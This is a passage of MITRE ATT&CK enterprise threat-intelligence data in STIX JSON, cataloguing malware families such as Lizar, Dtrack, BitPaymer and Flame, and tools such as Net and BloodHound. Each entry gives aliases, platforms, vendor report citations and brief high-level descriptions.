on the darkweb  (Citation: objsee mac malware 2017).","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sittikorn Sangrattanapitak"],"x_mitre_aliases":["Lizar","Tirion"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","created":"2022-02-02T21:05:48.601Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0681","url":"https://attack.mitre.org/software/S0681"},{"source_name":"Tirion","description":"(Citation: BiZone Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)"},{"source_name":"Lizar","description":"(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)"},{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."},{"source_name":"Gemini FIN7 Oct 2021","url":"https://geminiadvisory.io/fin7-ransomware-bastion-secure/","description":"Gemini Advisory. (2021, October 21). FIN7 Recruits Talent For Push Into Ransomware. Retrieved February 2, 2022."},{"source_name":"Threatpost Lizar May 2021","url":"https://threatpost.com/fin7-backdoor-ethical-hacking-tool/166194/","description":"Seals, T. (2021, May 14). FIN7 Backdoor Masquerades as Ethical Hacking Tool. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) is a modular remote access tool written using the .NET Framework that shares structural similarities to [Carbanak](https://attack.mitre.org/software/S0030). It has likely been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least February 2021.(Citation: BiZone Lizar May 2021)(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)","modified":"2022-04-15T11:40:31.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Lizar","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Dtrack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f8774023-8021-4ece-9aca-383ac89d2759","type":"malware","created":"2021-01-25T13:58:24.977Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0567","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0567"},{"source_name":"Kaspersky Dtrack","url":"https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers","description":"Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021."},{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."},{"source_name":"Dragos WASSONITE","url":"https://www.dragos.com/threat/wassonite/","description":"Dragos. (n.d.). WASSONITE. Retrieved January 20, 2021."},{"source_name":"CyberBit Dtrack","url":"https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/","description":"Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."},{"source_name":"ZDNet Dtrack","url":"https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/","description":"Catalin Cimpanu. (2019, October 30). Confirmed: North Korean malware found on Indian nuclear plant's network. Retrieved January 20, 2021."}],"modified":"2021-04-27T00:05:45.283Z","name":"Dtrack","description":"[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["H1N1"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f8dfbc54-b070-4224-b560-79aaa5f835bd","type":"malware","created":"2017-05-31T21:33:15.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0132","external_id":"S0132"},{"source_name":"Cisco H1N1 Part 1","description":"Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. 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(Citation: Cisco H1N1 Part 1)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Seth-Locker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f931a0b9-0361-4b1b-bacf-955062c35746","type":"malware","created":"2021-08-13T14:57:39.387Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0639","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0639"},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-13T14:17:43.705Z","name":"Seth-Locker","description":"[Seth-Locker](https://attack.mitre.org/software/S0639) is a ransomware with some remote control capabilities that has been in use since at least 2021.\n(Citation: Trend Micro Ransomware February 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["LoudMiner"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","type":"malware","created":"2020-05-18T21:01:51.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0451","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0451"},{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2021-10-12T16:31:13.272Z","name":"LoudMiner","description":"[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Azorult"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","type":"malware","created":"2019-01-30T15:19:14.309Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0344","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0344"},{"source_name":"Azorult","description":"(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)"},{"source_name":"Unit42 Azorult Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018."},{"source_name":"Proofpoint Azorult July 2018","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018."}],"modified":"2020-03-30T14:56:50.733Z","name":"Azorult","description":"[Azorult](https://attack.mitre.org/software/S0344) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://attack.mitre.org/software/S0344) has been observed in the wild as early as 2016.\nIn July 2018, [Azorult](https://attack.mitre.org/software/S0344) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://attack.mitre.org/software/S0344) has been seen used for cryptocurrency theft. (Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BitPaymer","wp_encrypt","FriedEx"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","type":"malware","created":"2021-02-08T22:19:19.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0570","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0570"},{"source_name":"BitPaymer","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"wp_encrypt","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"FriedEx","description":"(Citation: Crowdstrike Indrik November 2018)"},{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-04-26T22:04:32.509Z","name":"BitPaymer","description":"[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BACKSPACE","Lecna"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb261c56-b80e-43a9-8351-c84081e7213d","type":"malware","created":"2017-05-31T21:32:24.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0031","external_id":"S0031"},{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-30T14:54:21.256Z","name":"BACKSPACE","description":"[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Zox","Gresim","ZoxRPC","ZoxPNG"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","created":"2022-01-09T22:02:05.615Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0672","url":"https://attack.mitre.org/software/S0672"},{"source_name":"Gresim","description":"(Citation: Novetta-Axiom)"},{"source_name":"ZoxRPC","description":"(Citation: Novetta-Axiom)"},{"source_name":"ZoxPNG","description":"(Citation: Novetta-Axiom)"},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)","modified":"2022-04-15T16:01:23.818Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Zox","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["UPPERCUT","ANEL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0275","external_id":"S0275"},{"source_name":"UPPERCUT","description":"(Citation: FireEye APT10 Sept 2018)"},{"source_name":"ANEL","description":"(Citation: FireEye APT10 Sept 2018)"},{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2020-03-30T18:24:27.229Z","name":"UPPERCUT","description":"[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ADVSTORESHELL","AZZY","EVILTOSS","NETUI","Sedreco"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","type":"malware","created":"2017-05-31T21:32:34.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0045","external_id":"S0045"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. 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(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Mivast"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3","type":"malware","created":"2017-05-31T21:32:54.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0080","external_id":"S0080"},{"source_name":"Mivast","description":"(Citation: Symantec Black Vine) (Citation: Symantec Backdoor.Mivast)"},{"source_name":"Symantec Black Vine","description":"DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf"},{"source_name":"Symantec Backdoor.Mivast","description":"Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.","url":"http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"}],"modified":"2020-03-25T16:03:26.871Z","name":"Mivast","description":"[Mivast](https://attack.mitre.org/software/S0080) is a backdoor that has been used by [Deep Panda](https://attack.mitre.org/groups/G0009). It was reportedly used in the Anthem breach. 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Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"}],"modified":"2021-04-23T20:07:01.487Z","name":"HiddenWasp","description":"[HiddenWasp](https://attack.mitre.org/software/S0394) is a Linux-based Trojan used to target systems for remote control. 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(2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."},{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. 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(2014, December). Operation Cleaver. Retrieved September 14, 2017.","url":"https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"}],"modified":"2021-04-21T16:41:34.225Z","name":"Net Crawler","description":"[Net Crawler](https://attack.mitre.org/software/S0056) is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using [PsExec](https://attack.mitre.org/software/S0029) to execute a copy of [Net Crawler](https://attack.mitre.org/software/S0056). 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(2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."},{"source_name":"Costin Raiu IAmTheKing October 2020","url":"https://twitter.com/craiu/status/1311920398259367942","description":"Costin Raiu. (2020, October 2). Costin Raiu Twitter IAmTheKing SlothfulMedia. Retrieved November 16, 2020."},{"source_name":"USCYBERCOM SLOTHFULMEDIA October 2020","url":"https://twitter.com/CNMF_CyberAlert/status/1311743710997159953","description":"USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved November 16, 2020."},{"source_name":"Kaspersky IAmTheKing October 2020","url":"https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/","description":"Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020."},{"source_name":"ESET PowerPool Code October 2020","url":"https://twitter.com/ESETresearch/status/1311762215490461696","description":"ESET Research. (2020, October 1). ESET Research Tweet Linking Slothfulmedia and PowerPool. Retrieved November 17, 2020."}],"modified":"2021-04-13T20:44:14.476Z","name":"SLOTHFULMEDIA","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017.(Citation: CISA MAR SLOTHFULMEDIA October 2020)(Citation: Costin Raiu IAmTheKing October 2020) It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.(Citation: USCYBERCOM SLOTHFULMEDIA October 2020)(Citation: Kaspersky IAmTheKing October 2020)  \n\nIn October 2020, Kaspersky Labs assessed [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) is part of an activity cluster it refers to as \"IAmTheKing\".(Citation: Kaspersky IAmTheKing October 2020) ESET also noted code similarity between [SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) and droppers used by a group it refers to as \"PowerPool\".(Citation: ESET PowerPool Code October 2020) ","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["FALLCHILL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0181","external_id":"S0181"},{"source_name":"FALLCHILL","description":"(Citation: US-CERT FALLCHILL Nov 2017)"},{"url":"https://www.us-cert.gov/ncas/alerts/TA17-318A","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","source_name":"US-CERT FALLCHILL Nov 2017"}],"modified":"2021-04-23T20:01:10.366Z","name":"FALLCHILL","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. (Citation: US-CERT FALLCHILL Nov 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Flame","Flamer","sKyWIper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","type":"malware","created":"2017-05-31T21:33:21.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0143","external_id":"S0143"},{"source_name":"Flame","description":"(Citation: Kaspersky Flame)"},{"source_name":"Flamer","description":"(Citation: Kaspersky Flame) (Citation: Symantec Beetlejuice)"},{"source_name":"sKyWIper","description":"(Citation: Kaspersky Flame) (Citation: Crysys Skywiper)"},{"source_name":"Kaspersky Flame","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","url":"https://securelist.com/the-flame-questions-and-answers-51/34344/"},{"source_name":"Symantec Beetlejuice","description":"Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.","url":"https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache"},{"source_name":"Crysys Skywiper","description":"sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer):  A complex malware for targeted attacks. Retrieved September 6, 2018.","url":"https://www.crysys.hu/publications/files/skywiper.pdf"}],"modified":"2020-03-30T16:41:41.805Z","name":"Flame","description":"Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HermeticWizard"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","created":"2022-03-25T20:47:06.942Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0698","url":"https://attack.mitre.org/software/S0698"},{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) is a worm that has been used to spread [HermeticWiper](https://attack.mitre.org/software/S0697) in attacks against organizations in Ukraine since at least 2022.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:11:44.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"HermeticWizard","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["David Ferguson, CyberSponse"],"x_mitre_aliases":["Net","net.exe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--03342581-f790-4f03-ba41-e82e67392e23","type":"tool","created":"2017-05-31T21:32:31.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0039","external_id":"S0039"},{"url":"https://msdn.microsoft.com/en-us/library/aa939914","description":"Microsoft. (2006, October 18). Net.exe Utility. Retrieved September 22, 2015.","source_name":"Microsoft Net Utility"},{"source_name":"Savill 1999","description":"Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.","url":"http://windowsitpro.com/windows/netexe-reference"}],"modified":"2021-10-15T20:33:54.392Z","name":"Net","description":"The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\n[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.","x_mitre_version":"2.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RemoteUtilities"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"tool--03c6e0ea-96d3-4b23-9afb-05055663cf4b","type":"tool","created":"2021-03-18T14:57:34.628Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0592","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0592"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. 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Retrieved March 18, 2021."}],"modified":"2021-04-25T23:30:38.375Z","name":"RemoteUtilities","description":"[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["tool"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BloodHound"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"tool","id":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","created":"2020-10-28T12:51:29.358Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0521","url":"https://attack.mitre.org/software/S0521"},{"source_name":"FoxIT Wocao December 